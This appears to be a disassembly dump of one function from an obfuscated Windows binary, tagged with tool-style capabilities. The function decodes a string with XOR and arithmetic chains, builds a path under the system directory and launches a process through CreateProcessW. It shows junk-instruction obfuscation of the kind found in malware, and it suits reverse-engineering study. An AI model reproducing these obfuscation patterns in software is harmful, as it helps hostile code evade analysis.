Function at 0x140161920
Capabilities:
Create process on windows
Encode data using xor
Get common file path

Disassembly:
xchg rbx, r9
mov qword [rsp + 8], r9
xchg r9, rbx
xchg rsi, rbp
mov qword [rsp + 0x10], rbp
xchg rbp, rsi
nop
sub rsp, 8
mov qword [rsp], rbp
push rdi
nop
mov qword [rsp - 8], r12
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], r14
nop
sub rsp, 8
mov qword [rsp], r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
xchg r15, r10
mov r10, rdx
xchg r10, r15
xor edx, edx
mov r8d, 0x6942a80f
add r8d, 0xb19c733
xor r8d, 0x2af82ced
sub r8d, 0x298e3e59
add r8d, 0x16664a10
sub r8d, 0x2bbab127
add r8d, 0x1c758963
xor r8d, 0x3c3725a8
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x4650241c
xor edx, 0x45b49fd0
xor edx, 0x10ec8e24
sub edx, 0x8cd89a5
xor edx, 0x7c2055f8
sub edx, 0x7082afb7
xor edx, 0x6da95f50
sub edx, 0x68311450
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor r12d, r12d
xchg r12, rbp
mov qword [rsp + 0x60], rbp
xchg r12, rbp
mov qword [rsp + 0x68], r12
lea rax, [rbp]
nop
movabs rsi, 0xffffffff24fe9ad9
sub rsi, 0xa5e6afd
sub rsi, 0xf39e1b7
add rsi, 0x34c1a084
add rsi, 0x34d6ea56
sub rsi, 0x3b336eb
xor rsi, 0x127a50f
add rsi, 0x7fffffff
add rsi, 0xf93f8e5
xchg r11, rbx
mov r11, rsi
xchg rbx, r11
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x140161a63
movabs r14, 0x7fffffff11b6011e
xor r14, 0x2ba70e91
xor r14, 0x8f42c03
sub r14, 0x1ebd5920
add r14, 0x25ba6339
sub r14, 0x2dfff049
sub r14, 0x2046c86
xor r14, 0x33c0df31
add r14, 0x7fffffff
xor r14, 0x45e2f018
cmp rbx, r14
ja 0x1401620a4
mov qword [rsp + 0x68], 0x3a5177f9
xor qword [rsp + 0x68], 0x626b4ebf
add qword [rsp + 0x68], 0x21df72d
add qword [rsp + 0x68], 0x18213349
sub qword [rsp + 0x68], 0x4714a7f
xor qword [rsp + 0x68], 0x47349e72
sub qword [rsp + 0x68], 0x252adc42
xor qword [rsp + 0x68], 0x411ab0a
cmp rbx, 8
jae 0x140161b3f
mov qword [rsp + 0x60], rbx
add rbx, rbx
xchg r10, r8
mov r10, rbx
xchg r8, r10
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x50], r12w
jmp 0x140161bd9
xchg rsi, rbx
mov rax, rsi
xchg rbx, rsi
or rax, 7
cmp rax, r14
ja 0x140161b94
mov r14, rax
mov ecx, 0x742e5dcf
sub ecx, 0x6b5a794
add ecx, 0xc835971
xor ecx, 0x67f54bee
sub ecx, 0x1243d369
xor ecx, 0x574d80e
add ecx, 0x391121be
sub ecx, 0x27ce1a2c
sub ecx, 0x1ff4b05f
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rsp + 0x50]
call fcn.14002fa70
xchg rdx, rax
mov rdi, rdx
xchg rdx, rax
mov qword [rsp + 0x50], rax
xchg rdi, rbx
mov qword [rsp + 0x60], rdi
xchg rbx, rdi
mov qword [rsp + 0x68], r14
add rbx, rbx
mov r8, rbx
lea rdx, [rbp]
xchg r13, rax
mov rcx, r13
xchg r13, rax
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
mov byte [rbp + 0x258], 0x46
add byte [rbp + 0x258], 0xa
sub byte [rbp + 0x258], 0x4a
add byte [rbp + 0x258], 0x3c
add byte [rbp + 0x258], 0xd
add byte [rbp + 0x258], 0x29
xor byte [rbp + 0x258], 0x8e
mov dword [rbp + 0x25a], 0x387cbf68
sub dword [rbp + 0x25a], 0x16184c61
sub dword [rbp + 0x25a], 0x1721b4cb
add dword [rbp + 0x25a], 0x3f2983c
add dword [rbp + 0x25a], 0x45697b90
xor dword [rbp + 0x25a], 0x1ab942f2
sub dword [rbp + 0x25a], 0x109033bb
add dword [rbp + 0x25a], 0x37fff720
sub dword [rbp + 0x25a], 0x759654f9
movzx edx, word [rbp + 0x25a]
movzx ecx, byte [rbp + 0x258]
add cx, dx
mov word [rbp + 0x25a], cx
mov byte [rbp + 0x258], 0x72
xor byte [rbp + 0x258], 0xf
sub byte [rbp + 0x258], 0x3e
add byte [rbp + 0x258], 8
xor byte [rbp + 0x258], 0x10
xor byte [rbp + 0x258], 0x44
sub byte [rbp + 0x258], 2
xor byte [rbp + 0x258], 0x11
lea rax, [rbp + 0x25a]
xchg rsi, rdi
mov rsi, rdi
xchg rsi, rdi
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140161ccb
mov r14, qword [rsp + 0x60]
xchg r10, rcx
mov r10, qword [rsp + 0x68]
xchg rcx, r10
xchg rcx, r8
mov rax, r8
xchg r8, rcx
sub rax, r14
cmp rdi, rax
ja 0x140161d38
lea rax, [r14 + rdi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0x25a]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r12w
jmp 0x140161d60
xchg rdi, r8
mov qword [rsp + 0x20], r8
xchg r8, rdi
lea r9, [rbp + 0x25a]
movzx r8d, byte [rbp + 0x250]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400350e0
nop
xchg r10, rax
mov r10, r12
xchg r10, rax
nop dword [rax + rax]
mov byte [rbp + rax + 0x25a], 0x15
xor byte [rbp + rax + 0x25a], 0x38
xor byte [rbp + rax + 0x25a], 0x21
add byte [rbp + rax + 0x25a], 0x35
xor byte [rbp + rax + 0x25a], 0x71
add byte [rbp + rax + 0x25a], 0x1b
add byte [rbp + rax + 0x25a], 3
add byte [rbp + rax + 0x25a], 5
sub byte [rbp + rax + 0x25a], 0x53
inc rax
cmp rax, 2
jb 0x140161d6c
inc rsi
cmp word [r15 + rsi*2], 0
jne 0x140161dc1
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
xchg r10, rax
mov r10, rcx
xchg r10, rax
sub rax, rdi
cmp rsi, rax
ja 0x140161e29
lea rax, [rdi + rsi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
lea r8, [rsi + rsi]
xchg rcx, r15
mov rdx, rcx
xchg r15, rcx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r12w
jmp 0x140161e58
xchg r13, rsi
mov qword [rsp + 0x20], r13
xchg rsi, r13
xchg r15, rdi
mov r9, rdi
xchg rdi, r15
movzx r8d, byte [rbp + 0x250]
xchg rdx, rbp
mov rbp, rsi
xchg rdx, rbp
lea rcx, [rsp + 0x50]
call fcn.1400350e0
xorps xmm0, xmm0
xor eax, eax
xchg rdx, rbp
movups xmmword [rdx - 0x6c], xmm0
xchg rdx, rbp
xchg rbp, rdi
movups xmmword [rdi - 0x5c], xmm0
xchg rdi, rbp
xchg rbp, rcx
movups xmmword [rcx - 0x4c], xmm0
xchg rcx, rbp
xchg rbp, r11
movups xmmword [r11 - 0x3c], xmm0
xchg rbp, r11
xchg r10, rbp
movups xmmword [r10 - 0x2c], xmm0
xchg r10, rbp
xchg r10, rbp
movups xmmword [r10 - 0x1c], xmm0
xchg rbp, r10
mov dword [rbp - 0xc], eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x250], 0x1cf147dd
add dword [rbp + 0x250], 0x274d04c1
sub dword [rbp + 0x250], 0x29ff97b
xor dword [rbp + 0x250], 0x682be783
sub dword [rbp + 0x250], 0x24824017
xor dword [rbp + 0x250], 0x7ef29c8f
sub dword [rbp + 0x250], 0x7bc1e805
mov dword [rbp - 0x70], 0x5d7e6244
add dword [rbp - 0x70], 0x1b950e13
xor dword [rbp - 0x70], 0x4229f314
sub dword [rbp - 0x70], 0x1ce0fbe1
xor dword [rbp - 0x70], 0x73a27365
add dword [rbp - 0x70], 0xf4ea173
sub dword [rbp - 0x70], 0x45fbdc25
xor dword [rbp - 0x70], 0x374eb93d
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
xchg rbx, rax
mov qword [rsp + 0x48], rbx
xchg rbx, rax
lea rax, [rbp - 0x70]
xchg rbx, rax
mov qword [rsp + 0x40], rbx
xchg rbx, rax
mov qword [rsp + 0x38], r12
xchg r8, r12
mov qword [rsp + 0x30], r8
xchg r8, r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x5dc66509
xor edx, 0x1f7387ea
sub edx, 0x23f3202f
add edx, 0x45b59253
xor edx, 0x450c8360
add edx, 0xde8b2998
xchg r11, rcx
mov r11, qword [rsp + 0x70]
xchg r11, rcx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x250]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x250]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140162042
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
xchg r8, rax
mov r8, rcx
xchg r8, rax
cmp rdx, 0x1000
jb 0x14016203d
nop
sub rdx, 0x3faa009b
add rdx, 0x3faa00c2
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jbe 0x14016203d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401fcccc
mov eax, ebx
lea r11, [rsp + 0x310]
xchg rbx, rsi
mov rsi, qword [r11 + 0x30]
xchg rbx, rsi
mov rsi, qword [r11 + 0x38]
mov rsp, r11
nop
mov r15, qword [rsp]
add rsp, 8
push rbx
push rdx
push rdx
push rcx
push rbx
push rax
push rcx
xchg qword [rsp + 0x38], r14
pop rcx
pop rax
pop rbx
pop rcx
pop rdx
pop rdx
pop rbx
add rsp, 8
nop
mov r12, qword [rsp]
add rsp, 8
push rbx
push rdx
xchg qword [rsp + 0x10], rdi
add rsp, 0x18
nop
add rsp, 8
xchg qword [rsp - 8], rbp
nop
add rsp, 8
jmp qword [rsp - 8]
call fcn.14002fa30
int3